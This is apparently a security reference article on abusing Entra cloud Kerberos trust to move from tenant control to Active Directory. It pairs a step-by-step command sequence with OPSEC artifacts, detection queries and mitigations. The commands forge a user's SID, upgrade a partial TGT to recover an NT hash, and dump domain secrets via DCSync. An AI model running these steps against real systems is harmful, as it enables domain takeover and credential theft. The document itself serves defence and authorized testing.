How it works
Microsoft Entra Kerberos lets Microsoft Entra ID issue Kerberos ticket-granting tickets for an Active Directory domain. It exists so that a user who signs in to Windows with a passwordless credential (Windows Hello for Business with cloud Kerberos trust, or a FIDO2 security key) still gets single sign-on to file servers and other on-premises resources.
Setting it up creates two objects in the domain and publishes their key to the tenant:
AzureADKerberos, a computer object in the Domain Controllers OU that appears as a read-only domain controller but is not associated with any physical server.krbtgt_AzureAD, a disabled user account in the Users container that holds the TGT encryption key of this virtual RODC.
The sign-in then works like this:
- The user authenticates to Entra ID from a joined device and receives a primary refresh token (PRT).
- Entra ID finds the Kerberos server key for the user's domain and creates a partial TGT. Microsoft documents that it contains the user's SID only, with no authorization data. Entra ID takes the SID, the SAM account name and the domain from the user's synchronized attributes:
onPremisesSecurityIdentifier,onPremisesSamAccountNameandonPremisesDomainName. - The client sends the partial TGT to a writable domain controller, which treats it like a ticket from a read-only DC: it checks the virtual RODC's password replication policy, and if the account is allowed, returns a full TGT with the account's real group memberships.
The design assumes that the on-premises attributes in Entra ID are a faithful copy of Active Directory. They are, as long as only the sync engine writes them. But the synchronization API that Entra Connect uses can be called by other principals too: the research that introduced this attack showed that a Global Administrator, a Hybrid Identity Administrator and the sync account can all use it, and that it accepts changes to a user's SAM account name and SID that the Graph APIs refuse.
So an attacker who controls the tenant picks a hybrid user whose credentials they hold, rewrites that user's on-premises SID to the SID of a different AD account, and asks for a new PRT. Entra ID issues a partial TGT for the victim's SID. A domain controller upgrades it to a full TGT for the victim, and through the Kerberos key list request that passwordless sign-in relies on, also returns the victim's NT hash.
The password replication policy is the limit. In the default policy the high-privilege groups are denied, and a partial TGT for a denied account fails with KDC_ERR_TGT_REVOKED. The useful victims are accounts that are powerful without being in those groups. The standard example is the MSOL_ connector account of Entra Connect: it holds directory replication rights when password hash synchronization is used, it is not synchronized to the cloud (so its SID is free to assign), and it is not in a denied group by default.
Two related paths use the same objects:
- Widening the policy. An attacker with rights over the
AzureADKerberosobject adds privileged principals to its allowed list or removes them from the denied list, which lifts the limit above. - Stealing the key. An attacker who already replicates the domain's secrets can read the
krbtgt_AzureADkey and mint partial TGTs offline, with the same reach as Entra ID. That attacker already holds the domain, so this is a persistence option, not an escalation.
Prerequisites
- Microsoft Entra Kerberos is deployed for the domain (the
AzureADKerberosobject exists and its key is published). - Global Administrator, Hybrid Identity Administrator, or the credentials of the Entra Connect sync account (see Entra Connect sync account abuse).
- A hybrid (synchronized) user the attacker can authenticate as, to obtain a PRT. A low-privileged account is enough.
- A victim account in Active Directory that is allowed by the Kerberos server object's password replication policy and whose SID is not already assigned to a user in the tenant.
- Network access to a writable domain controller on port 88.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Get a token for the synchronization API
The sync API uses the same resource as the Azure AD Graph:
roadtx gettokens -u admin@corp.example.com -p 'password' -r aadgraph
When the administrator account needs MFA, use one of roadtx's interactive authentication commands to obtain the same token.
2. Point the hybrid user at the victim's SID
Identify the hybrid user by its source anchor (the immutable ID), and write the victim's SAM account name and SID onto it with modifyuser.py from ROADtools hybrid:
python modifyuser.py -a AAAAAAAAAAAAAAAAAAAAAA== \
-sid S-1-5-21-1111111111-2222222222-3333333333-1105 -sam MSOL_0123456789ab
The AADInternals function Set-AADIntAzureADObject writes the same attributes through the same API. A source anchor that does not exist creates a new user instead of modifying one.
3. Request a PRT as the hybrid user
A PRT needs a device identity. Register one, then request the PRT with the hybrid user's credentials:
roadtx gettokens -u alice@corp.example.com -p 'password' -r devicereg
roadtx device -n ws-lab01
roadtx prt -u alice@corp.example.com -p 'password' --key-pem ws-lab01.key --cert-pem ws-lab01.pem
The PRT and its session key are saved to roadtx.prt. After the attribute change has taken effect, the PRT response carries a partial TGT whose SID is the victim's.
4. Upgrade the partial TGT and recover the NT hash
python partialtofulltgt.py CORP.EXAMPLE.COM/MSOL_0123456789ab -f roadtx.prt
The script exchanges the partial TGT for a full TGT at a domain controller and uses the Kerberos key list request to recover the account's NT hash. loadticket.py from the same repository extracts the partial TGT to a ccache if another tool should do the exchange.
5. Use the victim's rights
With the connector account's hash, replicate the domain:
secretsdump.py -hashes :00000000000000000000000000000000 'corp.example.com/MSOL_0123456789ab@192.0.2.10' -just-dc
See DCSync.
6. Restore the user
Run modifyuser.py again with the hybrid user's original SAM account name and SID. Entra Connect may also overwrite the change on a later synchronization cycle.
Impact
Control of the cloud directory becomes control of Active Directory. With the default policy the attacker reaches any account outside the denied groups: service accounts, application administrators, and the Entra Connect connector account whose replication rights yield every hash in the domain, krbtgt included. From there a Golden Ticket is one step away. This is a privilege escalation across the hybrid boundary in the direction most designs do not expect: organizations that keep their domain controllers isolated still accept TGTs that the tenant vouches for.
OPSEC and artifacts
- Low-noise cloud change. The SAM account name and SID are not shown in the Entra audit log. What the log does record is an Update user event by the actor with
LastDirSyncTimeamong the modified properties, a property that changes only through the synchronization API. - Borrowing an existing identity. Using the sync account's own credentials from the sync server makes the API calls come from the expected principal and address. A Global Administrator calling the sync API is unusual in any tenant.
- Device and PRT. The attack registers a device and requests a PRT for the hybrid user, which writes device registration audit events and sign-in records for that user from the attacker's address.
- The exchange on the domain controller. Upgrading the partial TGT is a TGS request for the
krbtgtservice presented with a ticket encrypted under thekrbtgt_AzureADkey. With Kerberos service ticket auditing it is recorded as event 4769 for the victim account from the attacker's address. For an account likeMSOL_, which never signs in passwordless and never from a workstation, that request has no legitimate explanation. - Follow-on activity. Replication with the recovered hash writes event 4662 from a host that is not the sync server.
- Policy or key tampering. Changes to the
AzureADKerberosobject's allowed and denied lists are directory changes recorded as event 5136 when auditing and a SACL are in place; changes to the computer account itself write event 4742. - Cleanup. Restoring the original attributes is a second sync API call and a second
LastDirSyncTimeupdate.
Detection
- Sync API used by the wrong principal. Alert on Update user events whose modified properties include
LastDirSyncTimewhen the initiator is not the tenant's synchronization identity, and on any use of the sync account outside its normal pattern (the sync account rules). - Kerberos server TGTs for unexpected accounts. On domain controllers, look for ticket requests that arrive with a ticket issued under the Entra Kerberos server for accounts that are not human users with passwordless sign-in: service accounts, connector accounts, disabled or administrative accounts.
- SID mismatch. Periodically compare
onPremisesSecurityIdentifierandonPremisesSamAccountNameof synchronized users in Entra ID with the objects in Active Directory. Any difference that the sync engine did not write is a finding. - Policy changes on the Kerberos server object. The RODC password replication policy rules cover additions to the allowed list and removals from the denied list.
- Replication afterwards. The DCSync rules catch the step that turns the stolen hash into the domain.
- Role assignments beforehand. The privileged role assignment rules cover the roles that can call the sync API.
// User updates that went through the synchronization API, by actor.
// Expected: only the Entra Connect or Cloud Sync identity.
AuditLogs
| where ActivityDisplayName =~ "Update user"
| mv-expand Target = TargetResources
| where tostring(Target.modifiedProperties) has "LastDirSyncTime"
| extend Actor = coalesce(tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| summarize Updates = count(), Users = dcount(tostring(Target.id)), LastSeen = max(TimeGenerated) by Actor
| order by Updates asc
To review the Kerberos server object and its key state, use the module that created it:
Get-AzureADKerberosServer -Domain corp.example.com -UserPrincipalName admin@corp.example.com -DomainCredential (Get-Credential)
KeyVersion and CloudKeyVersion should match, and KeyUpdatedOn should match your last planned rotation.
Mitigation
- Deny the accounts that matter. Add the Entra Connect connector account (
MSOL_) and other powerful accounts that are not in the built-in denied groups to the Denied RODC Password Replication Group, so a partial TGT for them is refused. Never relax the default policy of theAzureADKerberosobject to make passwordless sign-in work for administrators. - Protect the cloud roles that can call the sync API. Keep Global Administrator and Hybrid Identity Administrator assignments few, eligible and protected by phishing-resistant MFA, and treat the Entra Connect server as Tier 0. The Entra Connect hardening guide covers the server and the connector identity.
- Separate the tiers across the boundary. Do not give Entra roles to synchronized accounts, and do not synchronize Active Directory administrators to the tenant.
- Rotate the Kerberos server key on the schedule you use for the domain's own
krbtgt(see the krbtgt reset guide), and after any suspected exposure, with the supported cmdlet so both sides are updated:
Set-AzureADKerberosServer -Domain $domain -CloudCredential $cloudCred -DomainCredential $domainCred -RotateServerKey
- Restrict the two objects. Only Tier 0 administrators should hold rights over
AzureADKerberosandkrbtgt_AzureAD. Baseline their attributes and ACLs and audit changes. - Remove the trust where it is not used. If no device uses cloud Kerberos trust or FIDO2 sign-in to on-premises resources, remove the server object with
Remove-AzureADKerberosServer.
Detection rules for this attack
Log events to collect
FAQ
What are AzureADKerberos and krbtgt_AzureAD?
They are the two objects that represent Microsoft Entra ID as a Kerberos server in a domain. AzureADKerberos is a computer object that looks like a read-only domain controller and is not tied to any server. krbtgt_AzureAD is a disabled user account that holds the key Entra ID uses to encrypt the partial TGTs it issues for the domain.
Can cloud Kerberos trust be used to become Domain Admin directly?
Not with the default settings. The Entra Kerberos server object has a password replication policy like a read-only domain controller, and the default policy keeps high-privilege groups such as Domain Admins out. A partial TGT for a denied account is rejected. The published attack therefore targets accounts outside those groups that still hold powerful rights, such as the MSOL_ connector account.
Is the change of a user's on-premises SID logged in Microsoft Entra ID?
Not as such. The research behind this attack found that the audit log does not show the changed SAM account name or SID. It shows an Update user event by the actor with LastDirSyncTime among the modified properties, which only changes when the synchronization API is used. That property, from an actor other than the sync server, is the signal.
How is this different from Seamless SSO abuse?
The direction is opposite. Seamless SSO lets Active Directory vouch for a user to Entra ID, so an on-premises key opens the cloud. Cloud Kerberos trust lets Entra ID vouch for a user to Active Directory, so control of the cloud directory opens on-premises accounts. The first uses the AZUREADSSOACC account, the second the AzureADKerberos object and krbtgt_AzureAD.
References
- Modify Authentication Process: Hybrid Identity, T1556.007 (MITRE ATT&CK)
- Enable passwordless security key sign-in to on-premises resources by using Microsoft Entra ID (Microsoft Learn)
- Windows Hello for Business cloud Kerberos trust deployment guide (Microsoft Learn)
- Obtaining Domain Admin from Azure AD by abusing Cloud Kerberos Trust (Dirk-jan Mollema)
- ROADtools hybrid: modifyuser.py and partialtofulltgt.py
- ROADtools Token eXchange (roadtx) documentation
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.